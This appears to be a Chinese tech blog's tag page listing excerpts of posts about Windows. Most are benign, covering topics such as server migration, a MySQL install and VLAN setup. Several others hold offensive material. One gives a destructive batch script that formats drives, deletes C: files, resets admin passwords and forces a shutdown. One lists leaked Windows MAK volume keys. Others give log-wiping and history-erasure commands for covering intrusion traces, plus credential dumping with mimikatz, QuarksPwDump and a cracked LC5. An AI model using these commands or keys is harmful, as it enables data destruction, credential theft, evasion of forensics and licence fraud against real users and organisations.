网站首页 包含标签 Windows 的所有文章

  • 宝塔Linux面板一键迁移网站-Windows面板快速迁移网站

    宝塔Linux/Windows面板如何一键迁移网站?相信做网站的站长朋友都会面临着网站搬家的时候,可能原因是网站的服务器不稳定,或者网站发展起来后需要更好的服务器,所以就需要进行网站的搬家了。如果两台服务器都安装有宝塔面板的话,可以在旧服务器的面板上安装“宝塔一键迁移 API 版本”即可实现快速迁移网站数据到新服务器上(只需要在旧服务器面板上安装该插件即可),本文档介绍如何使用宝塔 Linux/Windows 面板快速迁移网站到其他云服务器中。 迁移准备 1、迁出云服务器:指需要进行数据迁移的其他的云服务器,在服务器中安装宝塔 Linux/Windows 面板软件,需要升级至最新版本,本示例以宝塔Linux面板为例。 2、迁入云服务器:指用于接收数据的云服务器,在服务器安装宝塔 Linux/Windows 面板软件,需要升级至最新版本,本示例以宝塔Linux面板为例。 3、确保迁出服务器和迁入服务器之间网络可达,可通过公网互通,或则私网互通。 迁入服务器操作 1、登录迁入云服务器的宝塔 Linux 面板。 2、选择左侧菜单栏中的【面板设置】,并在设置页面中开启 API 接口。如下图所示: 3、在弹出的“配置面板API” 窗口中,记录好接口密钥,将需迁出服务器的公网 IP /内网IP地址加入 IP 白名单中,单击【保存】。如下图所示: 迁出服务器操作 1、登录迁出服务器的宝塔 Linux 面板,选择左侧菜单栏中的【软件商店】。 2、在“软件商店”页面中,找到“宝塔一键迁移API版本”插件,并单击右侧的【安装】。如下图所示:注意:仅需在迁出服务器中安装一键迁移插件即可。 3、安装成功后,单击插件所在行右侧的【设置】。 4、在弹出的“宝塔一键迁移API版本”窗口中,参考以下信息填写接受数据的迁入服务器信息。如下图所示: 面板地址:填写迁入服务器的面板地址。例如:http://公网 IP:8888。 API密钥:填写在迁入服务器操作的 中已获取的 API 接口密钥。 5、选择【下一步】,在弹出提示窗口中单击【已添加,继续操作】进入检测环境步骤。 6、在检测环境步骤中,宝塔面板将对远程接收数据的迁入服务器进行环境检测,查看是否已安装相关软件及运行环境。其中包含网站服务、MySQL 数据库、FTP、PHP、可用磁盘容量。 若检测失败,并提示远程迁入服务器中未安装某个软件(例如 PHP、MySQL 等)则需登录迁入服务器面板,前往【软件商店】安装对应版本软件,直至检测全部通过后,单击【下一步】。如下图所示: 7、在选择数据步骤中,按需选择需迁移的数据,并单击【一键迁移】。如下图所示: 8、等待数据迁移完成,若提示迁移失败,则建议您查看迁移日志,并参考提示信息处理对应问题。问题解决后,再重新执行迁移步骤。迁移成功如下图所示: 网站迁移完成后 1、修改网站的域名解析,降域名解析记录修改为新的服务器公网ip地址。 2、域名解析生效需要点时间,等待解析生效完成后,在浏览器访问域名,就可以访问迁移后的网站了。  ...

    2024-04-02 技术教程 80
  • Windows安装MySQL数据库步骤

    浏览器输入网址:https://www.mysql.com/downloads下载MySQL软件包 根据图片安装MySQL软件 勾选同意,点击Next 选择只安装服务,然后点击Next 点击Execute 选择服务后点击Next 如图所示设置,点击Next 设置登录密码后,点击Next MySQL57是服务名称,可以根据爱好设置,点击Next 默认,点击Next 默认,点击Execute 点击finish,表示软件安装完成 找到软件目录下的bin目录 开始->计算机->属性->高级系统设置->环境变量 ,把mysql的bin目录加入到path 开始->cmd->输入登录账户和密码,看到如图界面,表示MySQL服务安装完成 注意:不同MySQL版本安装略有不同,但是总体大同小异,大家一起开始MySQL数据库的学习之旅吧! ...

    2023-10-14 170
  • 10秒毁了一台电脑教程(无视任何杀毒软件)

    (仅供学习交流,否则后果自负) 上面这一段代码的意思是快速格式化D到Z盘的所有内容。没有则掠过 再回车输入 cd c:\attrib +s +h "windows"attrib +s +h "Program Files"attrib +s +h "Documents and Settings"这段代码是切换到C盘,并且隐藏C盘重要文件,将其设置为系统只读隐藏文件。然后回车输入cd C:\Documents and Settings\Administrator\桌面attrib +S +h上面是隐藏桌面继续回车输入代码net user administrator nisidinglenet user guest nihuile这段代码意思是将计算机的administrator(超级管理员)账户和Guest(来宾账户)设置密码,分别是“你死定了”和“你毁了”的汉语拼音接着回车输入shutdown -r -t 60 -c "敢惹老子!你死定了!"这段代码是设置1分钟关机的,并且会提示:敢惹老子!你死定了也可以把提示换成别的,只要在120个字之内最后回车输入net user administrator /active:no最后这段代码将直接禁用Administrator用户,别人将重启后将无法进入系统然后回车输入 del /f /s /q c:*.*这句命令是删除C盘所有能删除的文件,并且也删除了shutdown和net这两个DOS命令,使对方无法解除关机最后一步把txt文件改成bat文件,只要双击后,你的电脑基本就毁了...

    2023-03-01 313
  • 分享几个纯净版Windows系统下载网站

    如今Windows系统越来越好安装了,抛弃多年前的光盘,现在只需要一个装机工具就可以轻松搞定,完全不需要具备电脑装机知识,按照安装向导进行就可以了。不过,有些u盘装机工具,由于没有提供镜像文件,用户只能自己从网上找和下载,一路上磕磕绊绊,不少用户就中了捆绑网站的“陷阱”。 这里我给大家分享几个我平时用的操作系统下载网站。 1.msdn(收集了原版Windows镜像,均纯净无捆绑)网站地址:https://msdn.itellyou.cn/   2.HelloWindows(精校 完整 极致 Windows系统下载仓储站)网站地址:https://hellowindows.cn/# 3.极简系统(提供极简的os下载)网址:https://www.sysmini.com/ 一生中你唯一需要回头的时候,是为了看自己到底走了多远。 ...

    2023-01-11 297
  • 我们如何给电脑磁盘分区呢?

    大家一定发现了新买的电脑只有一个C盘对不对~ 我的建议是将系统盘和文件存储盘分成不同的磁盘区 其实分区的好处还是很多的 比如平时利用电脑搜索功能寻找资料时 可以更加的快捷高效 不光提高了容错率 更方便我们对特殊情况的解决~ 那么我给电脑小白带来一期如何给我们的新电脑分区 1.压缩磁盘 首先右键点击【此电脑】找到【管理】 点击进入页面后 选择【磁盘管理】找到想要分区的磁盘 右键点击【压缩卷】 在【输入压缩空间量】中输入想要的分区大小再点击【压缩】这样磁盘就压缩好啦~ 在压缩磁盘的时候要注意咯,如果磁盘C作为系统盘给200GB,以1GB=1024MB计算,那就是204800MB 相信这么简单的计算不会还不会吧 2.新建磁盘分区 在压缩完成后 磁盘里会多出来一个【未分配】空间~ 右键点击【未分配】 选择【新建简单卷】 点击【下一页】 在【分配驱动器号和路径】的 【分配以下驱动器号】中选择盘符 然后点击【下一页】 在【格式化分区】中选择默认或者自定义名称 再点击【下一】 然后一路默认 就可以看到新建的分区啦~ 3.改变磁盘空间 如果使用中发现磁盘空间不够   可以找到想要删除的磁盘 右键点击【删除卷】 这样就会多出一部分未分配空间 右键点击需要扩展的磁盘 点击【扩展卷】 输入想要增加的磁盘空间大小 这样就可以啦~ 设置好磁盘大小点击下一步就好了 温馨提示 磁盘删除后无法恢复 大家一定要提前做好文件备份哟~ 单磁盘最好只分系统盘和存储盘2个区 分区太多会造成磁盘空间的浪费捏~ 喜欢的朋友点赞加关注多多支持! ...

    2023-01-11 307
  • Windows7将彻底退出历史舞台

    作为一代经典Windows7即将退出历史舞台,按计划,本周二(1月10日),Windows 7操作系统将结束ESU(付费外延扩展支持),也就是对于企业用户来说,即便是想再掏钱,微软也不会再下发安全补丁了。 Windows 7发布于2009年10月,2015年结束主流支持,2020年结束外延支持,随后微软上线了ESU,允许通过付费的方式订阅安全补丁。 值得注意的是,据数据统计公司Statcounter的记录,截止到2022年11月,Windows 7的市场份额为10.25%,Windows 8.1的市场份额为2.53%。 与此同时,Windows 8.1也进入EOL,和Win7不同的是,虽然Win8.1更年轻,但微软并不会推出ESU服务。换言之,两套操作系统明天起将彻底退出历史舞台。 另外,Windows 10也将于2025年1月14日结束支持。(信息来源于:中关村在线)...

    2023-01-10 270
  • 火山中文编程 -- 温度转换

    例子:有人用温度计测量出用华氏温度98°F,现在要求用火山中文编程实现,把它转换为以摄氏法表示的温度。 分析:摄氏度=(5/9)*(华氏度-32) 一、新建MFC窗口,设置好布局 二、编写代码 三、运行结果 四、知识点 5/9运行的结果是整数,所以最后结果为0 5.0/9运行的结果是小数 ...

    2021-09-29 497
  • 由400台电脑组成的网络如何配置?

    一、学校项目配置案例 某校计算机系承办市中考电脑阅卷任务,市教育局要求学校提供四百台电脑供改卷教师使用,同时需要4台配置性能较高的服务器以供四百台客户端电脑访问。该校计算机系四百台电脑分布在7间机房中,共由4个IP网段组成。 一、要求:为了安全起见,要求处在4个网段的电脑相互之间不能访问,但所有的电脑均要求能访问这4台服务器,网络拓扑图如图13-7所示。经研究,可以通过配置三层交换机以实现以上要求。  二、具体配置及IP地址分配方案如下所述:假设:机房一、二的网线分别接在三层交换机的F0/1和F0/2端口;机房三、四的网线分别接在三层交换机的F0/6和F0/7端口;机房五、六的网线分别接在三层交换机的F0/11和F0/12端口;机房七的网线接在三层交换机的F0/16端口;服务器接在三层交换机的F0/21端口。  各机房IP地址分配机房一、二: IP:192.168.7.X/24,网关:192.168.7.254机房三、四: IP:192.168.8.X/24,网关:192.168.8.254机房五、六:IP:192.168.10.X/24,网关:192.168.10.254机房七:IP:192.168.11.X/24,网关:192.168.11.254服务器:IP:192.168.12.X/24  网关:192.168.12.254 三、网络拓扑图 四、配置三层交换机  本例以思科三层交换机为例,具体配置命令如下所示:有些重复的命令就不注释了。1、创建5个vlanSwitch>Switch>en  //进入特权模式Switch#config //进入全局配置模式Switch(config)#hostname 3560   //更改主机名为3560 3560(config)#vlan 10     //创建vlan103560(config-vlan)#vlan 20   //创建vlan203560(config-vlan)#vlan 303560(config-vlan)#vlan 403560(config-vlan)#vlan 503560(config-vlan)#exit 2、将端口划分到相应的VLAN3560(config)#int range f0/1-5    //进入端口1-53560(config-if-range)#switchport mode access  //将端口设置为access模式3560(config-if-range)#switchport access vlan10   //将1-5端口加入到vlan10中3560(config-if-range)#exit   //退出 3560(config)#int range f0/6-10  //进入端口6-10端口,其它命令与上面一样3560(config-if-range)#switchport mode access3560(config-if-range)#switchport access vlan203560(config-if-range)#exit 3560(config)#int range f0/11-153560(config-if-range)#switchport mode access3560(config-if-range)#switchport access vlan303560(config-if-range)#exit 3560(config)#int range f0/16-203560(config-if-range)#switchport mode access3560(config-if-range)#switchporta ccess vlan403560(config-if-range)#exit 3560(config)#int range f0/21-223560(config-if-range)#switchport mode access3560(config-if-range)#switchport access vlan503560(config-if-range)#exit 先为三层交换机开启路由功能,这样才能实现计算机互访问3560(config)#no ip domain-loo   //告诉Router不要对它不知道的字符串做DNS解析3560 (config)#ip routing    //启动路由 3、为各个VLAN分别配置IP地址3560(config)#int vlan 10    //进入vlan103560(config-if)#ip add 192.168.7.254 255.255.255.0  //为vlan10分配子网掩码与ip地址3560(config-if)#no shut   //开启端口3560(config-if)#exit     //退出 3560(config)#int vlan 203560(config-if)#ip add 192.168.8.254 255.255.255.03560(config-if)#no shut3560(config-if)#exit 3560(config)#int vlan 303560(config-if)#ip add 192.168.10.254 255.255.255.03560(config-if)#no shut3560(config-if)#exit 3560(config)#int vlan 403560(config-if)#ip add 192.168.11.254 255.255.255.03560(config-if)#no shut3560(config-if)#exit 3560(config)#int vlan 503560(config-if)#ip add 192.168.12.254 255.255.255.03560(config-if)#no shut3560(config-if)#exit 4、创建访问控制列表(ACL)很多朋友可能会问,控制访问列表有什么用,我们先来了解下它的作用。访问控制列表是应用在路由器接口的指令列表,这些指令列表用来告诉路由器哪些数据包可以接收、哪些数据包需要拒绝。 拒绝网络192.168.7.0/24访问这三个ip段(192.168.8.0/24、192.168.10.0/24、192.168.11.0/24),而允许其他任何流量。3560(config)#access-list 101 deny ip 192.168.7.0 0.0.0.255 192.168.8.0 0.0.0.2553560(config)#access-list 101 deny ip 192.168.7.0 0.0.0.255 192.168.10.0 0.0.0.2553560(config)#access-list 101 deny ip 192.168.7.0 0.0.0.255 192.168.11.0 0.0.0.2553560(config)#access-list 101 permit ip any any 拒绝网络192.168.8.0/24访问这三个ip段(192.168.7.0/24、192.168.10.0/24、192.168.11.0/24),而允许其他任何流量。 3560(config)#access-list 102 deny ip 192.168.8.0 0.0.0.255 192.168.7.0 0.0.0.2553560(config)#access-list 102 deny ip 192.168.8.0 0.0.0.255 192.168.10.0 0.0.0.2553560(config)#access-list 102 deny ip 192.168.8.0 0.0.0.255 192.168.11.0  0.0.0.2553560(config)#access-list 102 permit ip any any 拒绝网络192.168.10.0/24访问这三个ip段(192.168.7.0/24、192.168.8.0/24、192.168.11.0/24),而允许其他任何流量。3560(config)#access-list 103 deny ip 192.168.10.0 0.0.0.255 192.168.7.0 0.0.0.2553560(config)#access-list 103 deny ip 192.168.10.0 0.0.0.255 192.168.8.0 0.0.0.2553560(config)#access-list 103 deny ip 192.168.10.0 0.0.0.255 192.168.11.0 0.0.0.2553560(config)#access-list 103 permit ip any any 拒绝网络192.168.11.0/24访问这三个ip段(192.168.7.0/24、192.168.8.0/24、192.168.10.0/24),而允许其他任何流量。3560(config)#access-list 104 deny ip 192.168.11.0 0.0.0.255 192.168.7.0 0.0.0.2553560(config)#access-list 104 deny ip 192.168.11.0 0.0.0.255 192.168.8.0 0.0.0.2553560(config)#access-list 104 deny ip 192.168.11.0 0.0.0.255 192.168.10.0 0.0.0.2553560(config)#access-list 104 permit ip any any 5、将ACL应用到相应的VLAN上3560(config)#int vlan10 3560(config-if)#ipaccess-group 101 in3560(config-if)#exit就是vlan10就只能访问101的列表。 3560(config)#int vlan203560(config-if)#ipaccess-group 102 in3560(config-if)#exit就是vlan20就只能访问102的列表。 3560(config)#int vlan303560(config-if)#ipaccess-group 103 in3560(config-if)#exit就是vlan30就只能访问103的列表。 3560(config)#int vlan403560(config-if)#ipaccess-group 104 in3560(config-if)#exit就是vlan40就只能访问104的列表。 3560#wr     //保存配置文件 五、验证测试1、机房一、二的电脑Ping不通处在8、10、11网段的电脑,但可以Ping通处在12网段的服务器;2、机房三、四的电脑Ping不通处在7、10、11网段的电脑,但可以Ping通12网段的服务器;3、机房五、六的电脑Ping不通处在7、8、11网段的电脑,但可以Ping通12段的服务器;4、机房七的电脑Ping不通处在7、8、10网段的电脑,但可以Ping通12网段的服务器。...

    2021-09-29 597
  • Windows正版 mak激活密钥

    Server 2012 RTM ServerStandard Volume MAK (4枚) N37K6-MB88P-YD438-VGJ9R-R3G9Q 剩余激活台数:1706 C9N8J-RXBJQ-PVFVV-JYRQT-Y96DD 剩余激活台数:117 MD2YD-3DNMJ-FF7YH-37XRB-KD4G3 剩余激活台数:45 4NK42-M6GH9-WCRD8-R876X-YDTDD 剩余激活台数:43 Server Essentials 2012 R2 RTM ServerSolution Volume MAK (1枚) JNDG6-WBDYG-9YP4M-6BXK8-F3JJK 剩余激活台数:438 Server Essentials 2012 RTM ServerSolution Volume MAK (1枚) XXDRB-9N8D4-HHBVR-RMXHF-PPKYK 剩余激活台数:8 Win 10 RTM EducationN Volume MAK (1枚) QN79V-RDKJ8-R378G-JTF3F-7H64X 剩余激活台数:339 Win 10 RTM EnterpriseSN Volume MAK (4枚) RQNR8-3P36J-74BH7-DR2GJ-6MV2F 剩余激活台数:976 RVJVP-8TNBX-H2T93-TFVM3-9D8WR 剩余激活台数:485 NQHWT-CXQXK-BG9DF-P3MHJ-82RCF 剩余激活台数:52 QYXMQ-MCN7Q-3GVJ4-YJC23-YBH2X 剩余激活台数:20 Win 10 RTM EnterpriseS Volume MAK (1枚) RXN7B-G2T3Q-W8HFT-24JGT-D3YJP 剩余激活台数:473 Win 10 RTM Enterprise Volume MAK (1枚) VNY28-Q772R-JPXVV-GVMGP-W2QF4 剩余激活台数:425 Win 10 RTM ProfessionalN Volume MAK (1枚) HRY3G-NXWKM-FH7YY-BDWPR-KBT7B 剩余激活台数:7 Win 10 RTM ProfessionalWorkstationN Volume MAK (4枚) QNX6C-DKJMX-XDYCM-PX36T-H8TFT 剩余激活台数:290 WN62W-W62DT-9K762-JCD8F-W8HB6 剩余激活台数:238 4FPCQ-NB9XF-6QR66-VF8HD-C384T 剩余激活台数:79 MF3K4-H6NGG-9QHHB-YD9R6-GMV8G 剩余激活台数:32 Win 10 RTM ProfessionalWorkstation Volume MAK (3枚) NCHRH-2T63T-G7RXK-CDTH8-RX9YX 剩余激活台数:347 VK6NF-PFH2Y-RHJQP-VRYYW-DGQMX 剩余激活台数:35 Y2M3X-JPN7M-XDQ2R-DK989-3RVBX 剩余激活台数:27 Win 7 All Volume Editions Volume MAK (3枚) 4FXFP-6QJ7V-MBQB2-YFVYW-HRR9B 剩余激活台数:477 J24B6-MQPT3-XQW6V-63THC-7D6XV 剩余激活台数:439 MHFWF-DJVB7-GXRDD-VPM73-K3YVJ 剩余激活台数:43 Win 8.1 RTM Professional ProfessionalN Enterprise EnterpriseN Volume MAK (1枚) K9T2Q-VNJD7-BQ76H-3Q7JK-V2YDQ 剩余激活台数:20 ...

    2021-05-24 1038
  • Windows任务栏快捷方式广告问题

    有时候安装了恶意软件,会给任务栏的浏览器图标设置导航。 不管怎么改都没有用。 下面的方法主要是解决这个问题。 1、按 Win + R 组合键,打开运行窗口,输入并确定或回车执行以下命令,可以快速打开任务栏快捷方式所在文件夹,进行相应的备份 %AppData%\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar 找到你的图标,右键属性,把这一部分网址删掉就可以了。 如果没有找到你的浏览器图标,输入下面几个路径,然后挨个文件夹看一遍 %AppData%\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts ...

    2021-04-07 680
  • 后渗透阶段清理痕迹方式总结

    一、前言 在渗透完成之后,为了减少被发现和追溯的概率,攻击者有必要清除自己的攻击痕迹,本文分别对windows和linux上清理痕迹的方式做一个总结。 二、windows 有远程桌面权限时手动删除日志: 1 开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志 wevtutil: 1 2 3 4 wevtutil el 列出系统中所有日志名称 wevtutil cl system 清理系统日志 wevtutil cl application 清理应用程序日志 wevtutil cl security 清理安全日志 meterperter自带清除日志功能: 1 clearev 清除windows中的应用程序日志、系统日志、安全日志 清除recent: 在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮 或直接打开C:\Users\Administrator\Recent并删除所有内容 或在命令行中输入del /f /s /q “%userprofile%\Recent*.* 三、linux 清除命令历史记录 1 2 3 4 histroy -r #删除当前会话历史记录 history -c #删除内存中的所有命令历史 rm .bash_history #删除历史文件中的内容 HISTZISE=0 #通过设置历史命令条数来清除所有历史记录 在隐蔽的位置执行命令 使用vim打开文件执行命令 1 2 :set history=0 :!command linux日志文件 1 2 3 4 5 6 7 8 9 10 11 /var/run/utmp 记录现在登入的用户 /var/log/wtmp 记录用户所有的登入和登出 /var/log/lastlog 记录每一个用户最后登入时间 /var/log/btmp 记录错误的登入尝试 /var/log/auth.log 需要身份确认的操作 /var/log/secure 记录安全相关的日志信息 /var/log/maillog 记录邮件相关的日志信息 /var/log/message 记录系统启动后的信息和错误日志 /var/log/cron 记录定时任务相关的日志信息 /var/log/spooler 记录UUCP和news设备相关的日志信息 /var/log/boot.log 记录守护进程启动和停止相关的日志消息 完全删除日志文件: 1 2 3 4 5 cat /dev/null > filename : > filename > filename echo "" > filename echo > filename 针对性删除日志文件: 1 2 删除当天日志 sed -i '/当天日期/'d filename 篡改日志文件: 1 2 将所有170.170.64.17ip替换为127.0.0.1 sed -i 's/170.170.64.17/127.0.0.1/g' 一键清除脚本: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/usr/bin/bash echo > /var/log/syslog echo > /var/log/messages echo > /var/log/httpd/access_log echo > /var/log/httpd/error_log echo > /var/log/xferlog echo > /var/log/secure echo > /var/log/auth.log echo > /var/log/user.log echo > /var/log/wtmp echo > /var/log/lastlog echo > /var/log/btmp echo > /var/run/utmp rm ~/./bash_history history -c ...

    2021-03-17 619
  • windows密码获取 -- LC5暴力破解Hash密码

    一、首先用QuarksPwDump导出hash值并存储到1.txt quarkspwdump --dump-hash-local --output 1.txt 二、下载并安装LC5并注册 1、下载地址:加入交流群 2、双击lc5setup一路下一步, 3、将hashgen和lc5替换了原文件 4、双击lc5,并打开注册机,点击administrator 三、使用方法 1、点击会话,导入1.txt 2、点击运行符号,实现破解 ...

    2021-03-05 702
  • windows密码获取 -- mimikatz

    一、软件介绍 一款获取windows账号密码的软件 二、下载地址(软件作者) https://github.com/gentilkiwi/mimikatz 或加入Kirin博客交流群下载 三、使用方法 1、解压后双击打开,分32位和64位 2、输入下面两行命令,直接获取密码 privilege::debug sekurlsa::logonpasswords ...

    2021-03-04 540
  • 近20年Windows权限提升集合

    前言 该项目是一个Windows提权搜集项目,除未通过测试EXP都有详细说明以及演示GIF图,如果项目中的代码有您的代码,本人为标注来源的请提交Issues 未测试成功编号 下列编号都是在筛选后未能通过复现测试的CVE,附带未成功原因,欢迎提交PR SecurityBulletin Remarks CVE-2015-0002 有源码未能测试成功 CVE-2015-0062 有源码和EXP未能测试成功 CVE-2015-1725 有源码未知编译方式 CVE-2016-3309 有源码和EXP未能测试成功 CVE-2014-6321 只有winshock_test.sh文件 CVE-2019-0859 需要安装windows7 sp1 x64 需要更新2019年3月份的补丁 CVE-2018-8440 CVE-2018-1038 有源码未知编译方式 CVE-2013-5065 缺少NDProxy环境 CVE-2013-0008 CVE-2009-0079 未能利用 CVE-2011-0045 未能找到可用EXP CVE-2010-2554 未能找到可用EXP CVE-2005-1983 有源码和EXP未能测试成功 CVE-2012-0002 蓝屏漏洞无实际利用价值 CVE-2010-0020 未能找到可用EXP CVE-2014-6324 CVE-2018-0743 未能找到利用POC 编号列表 SecurityBulletin Description OperatingSystem CVE-2020-1472 Netlogon Elevation of Privilege Windows 2008/2012/2016/2019/1903/1909/2004 CVE-2020-0796 SMBv3 Remote Code Execution Windows 1903/1909 CVE-2020-0787 Windows Background Intelligent Transfer Service Windows 7/8/10/2008/2012/2016/2019 CVE-2019-1458 Win32k Elevation of Privilege Windows 7/8/10/2008/2012/2016 CVE-2019-1388 Windows Certificate Dialog Elevation of Privilege Windows 7/8/2008/2012/2016/2019 CVE-2019-0859 Win32k Elevation of Privilege Windows 7/8/10/2008/2012/2016/2019 CVE-2019-0803 Win32k Elevation of Privilege Windows 7/8/10/2008/2012/2016/2019 CVE-2018-8639 Win32k Elevation of Privilege Windows 7/8/10/2008/2012/2016/2019 CVE-2018-8453 Win32k Elevation of Privilege Windows 7/8/10/2008/2012/2016/2019 CVE-2018-8440 Windows ALPC Elevation of Privilege Windows 7/8/10/2008/2012/2016 CVE-2018-8120 Win32k Elevation of Privilege Windows 7/2008 CVE-2018-1038 Windows Kernel Elevation of Privilege Windows 7/2008 CVE-2018-0743 Windows Subsystem for Linux Elevation of Privilege Windows 10/2016 CVE-2018-0833 SMBv3 Null Pointer Dereference Denial of Service Windows 8/2012 CVE-2017-8464 LNK Remote Code Execution Windows 7/8/10/2008/2012/2016 CVE-2017-0213 Windows COM Elevation of Privilege Windows 7/8/10/2008/2012/2016 CVE-2017-0143 Windows Kernel Mode Drivers Windows 7/8/10/2008/2012/2016/Vista CVE-2017-0101 GDI Palette Objects Local Privilege Escalation Windows 7/8/10/2008/2012/Vista CVE-2016-7255 Windows Kernel Mode Drivers Windows 7/8/10/2008/2012/2016/Vista CVE-2016-3371 Windows Kernel Elevation of Privilege Windows 7/8/10/2008/2012/Vista CVE-2016-3309 Win32k Elevation of Privilege Windows 7/8/10/2008/2012/Vista CVE-2016-3225 Windows SMB Server Elevation of Privilege Windows 7/8/10/2008/2012/Vista CVE-2016-0099 Secondary Logon Handle Windows 7/8/10/2008/2012/Vista CVE-2016-0095 Win32k Elevation of Privilege Windows 7/8/10/2008/2012/Vista CVE-2016-0051 WebDAV Elevation of Privilege Windows 7/8/10/2008/2012/Vista CVE-2016-0041 Win32k Memory Corruption Elevation of Privilege Windows 7/8/10/2008/2012/Vista CVE-2015-2546 Win32k Memory Corruption Elevation of Privilege Windows 7/8/10/2008/2012/Vista CVE-2015-2387 ATMFD.DLL Memory Corruption Windows 7/8/2003/2008/2012/Vista/Rt CVE-2015-2370 Windows RPC Elevation of Privilege Windows 7/8/10/2003/2008/2012/Vista CVE-2015-1725 Win32k Elevation of Privilege Windows 7/8/10/2003/2008/2012/Vista CVE-2015-1701 Windows Kernel Mode Drivers Windows 7/2003/2008/Vista CVE-2015-0062 Windows Create Process Elevation of Privilege Windows 7/8/2008/2012 CVE-2015-0057 Win32k Elevation of Privilege Windows 7/8/2003/2008/2012/Vista CVE-2015-0003 Win32k Elevation of Privilege Windows 7/8/2003/2008/2012/Vista CVE-2015-0002 Microsoft Application Compatibility Infrastructure Elevation of Privilege Windows 7/8/2003/2008/2012 CVE-2014-6324 Kerberos Checksum Vulnerability Windows 7/8/2003/2008/2012/Vista CVE-2014-6321 Microsoft Schannel Remote Code Execution Windows 7/8/2003/2008/2012/Vista CVE-2014-4113 Win32k.sys Elevation of Privilege Windows 7/8/2003/2008/2012/Vista CVE-2014-4076 TCP/IP Elevation of Privilege Windows 2003 CVE-2014-1767 Ancillary Function Driver Elevation of Privilege Windows 7/8/2003/2008/2012/Vista CVE-2013-5065 NDProxy.sys Windows XP/2003 CVE-2013-1345 Kernel Driver Windows 7/8/2003/2008/2012/Vista/Rt/Xp CVE-2013-1332 DirectX Graphics Kernel Subsystem Double Fetch Windows 7/8/2003/2008/2012/Vista/Rt CVE-2013-0008 Win32k Improper Message Handling Windows 7/8/2008/2012/Vista/Rt CVE-2012-0217 Service Bus Windows 7/2003/2008/Xp CVE-2012-0002 Remote Desktop Protocol Windows 7/2003/2008/Vista/Xp CVE-2011-2005 Ancillary Function Driver Elevation of Privilege Windows 2003/Xp CVE-2011-1974 NDISTAPI Elevation of Privilege Windows 2003/Xp CVE-2011-1249 Ancillary Function Driver Elevation of Privilege Windows 7/2003/2008/Vista/Xp CVE-2011-0045 Windows Kernel Integer Truncation Windows Xp CVE-2010-4398 Driver Improper Interaction with Windows Kernel Windows 7/2003/2008/Vista/Xp CVE-2010-3338 Task Scheduler Windows 7/2008/Vista CVE-2010-2554 Tracing Registry Key ACL Windows 7/2008/Vista CVE-2010-1897 Win32k Window Creation Windows 7/2003/2008/Vista/Xp CVE-2010-0270 SMB Client Transaction Windows 7/2008 CVE-2010-0233 Windows Kernel Double Free Windows 2000/2003/2008/Vista/Xp CVE-2010-0020 SMB Pathname Overflow Windows 7/2000/2003/2008/Vista/Xp CVE-2009-2532 SMBv2 Command Value Windows 2008/Vista CVE-2009-0079 Windows RPCSS Service Isolation Windows 2003/Xp CVE-2008-4250 Server Service Windows 2000/2003/Vista/Xp CVE-2008-4037 SMB Credential Reflection Windows 2000/2003/2008/Vista/Xp CVE-2008-3464 AFD Kernel Overwrite Windows 2003/Xp CVE-2008-1084 Win32.sys Windows 2000/2003/2008/Vista/Xp CVE-2006-3439 Remote Code Execution Windows 2000/2003/Xp CVE-2005-1983 PnP Service Windows 2000/Xp CVE-2003-0352 Buffer Overrun In RPC Interface Windows 2000/2003/Xp/Nt 所需环境 测试目标系统 #Windows 7 SP1 X64 ed2k://|file|cn_windows_7_home_premium_with_sp1_x64_dvd_u_676691.iso|3420557312|1A3CF44F3F5E0BE9BBC1A938706A3471|/ #Windows 7 SP1 X86 ed2k://|file|cn_windows_7_home_premium_with_sp1_x86_dvd_u_676770.iso|2653276160|A8E8BD4421174DF34BD14D60750B3CDB|/ #Windows Server 2008 R2 SP1 X64 ed2k://|file|cn_windows_server_2008_r2_standard_enterprise_datacenter_and_web_with_sp1_x64_dvd_617598.iso|3368839168|D282F613A80C2F45FF23B79212A3CF67|/ #Windows Server 2003 R2 SP2 x86 ed2k://|file|cn_win_srv_2003_r2_enterprise_with_sp2_vl_cd1_X13-46432.iso|637917184|284DC0E76945125035B9208B9199E465|/ #Windows Server 2003 R2 SP2 x64 ed2k://|file|cn_win_srv_2003_r2_enterprise_x64_with_sp2_vl_cd1_X13-47314.iso|647686144|107F10D2A7FF12FFF0602FF60602BB37|/ #Windows Server 2008 SP2 x86 ed2k://|file|cn_windows_server_standard_enterprise_and_datacenter_with_sp2_x86_dvd_x15-41045.iso|2190057472|E93B029C442F19024AA9EF8FB02AC90B|/ #Windows Server 2000 SP4 x86 ed2k://|file|ZRMPSEL_CN.iso|402690048|00D1BDA0F057EDB8DA0B29CF5E188788|/ #Windows Server 2003 SP2 x86 thunder://QUFodHRwOi8vcy5zYWZlNS5jb20vV2luZG93c1NlcnZlcjIwMDNTUDJFbnRlcnByaXNlRWRpdGlvbi5pc29aWg== #Windows 8.1 x86 ed2k://|file|cn_windows_8_1_enterprise_x86_dvd_2972257.iso|3050842112|6B60ABF8282F943FE92327463920FB67|/ #Windows 8.1 x64 ed2k://|file|cn_windows_8_1_x64_dvd_2707237.iso|4076017664|839CBE17F3CE8411E8206B92658A91FA|/ #Windows 10 1709 x64 ed2k://|file|cn_windows_10_multi-edition_vl_version_1709_updated_dec_2017_x64_dvd_100406208.iso|5007116288|317BDC520FA2DD6005CBA8293EA06DF6|/ Linux编译环境 sudo vim /etc/apt/sources.list #在sources.list末尾添加deb http://us.archive.ubuntu.com/ubuntu trusty main universe sudo apt-get update sudo apt-get install mingw32 mingw32-binutils mingw32-runtime sudo apt-get install gcc-mingw-w64-i686 g++-mingw-w64-i686 mingw-w64-tools Windows编译环境 VS2019(内置V142、V141、V120、V110、V100、V141_xp、V120_xp、V110_xp、MFC) 关于错误 由于项目内容较多,难免有些错别字或者遗漏的CVE编号等问题,如果您发现了错误,还望提交Issues来帮助我维护该项目。 免责声明 本项目仅面向合法授权的企业安全建设行为,在使用本项目进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。 如您在使用本项目的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。 在使用本项目前,请您务必审慎阅读、充分理解各条款内容,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要使用本项目。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 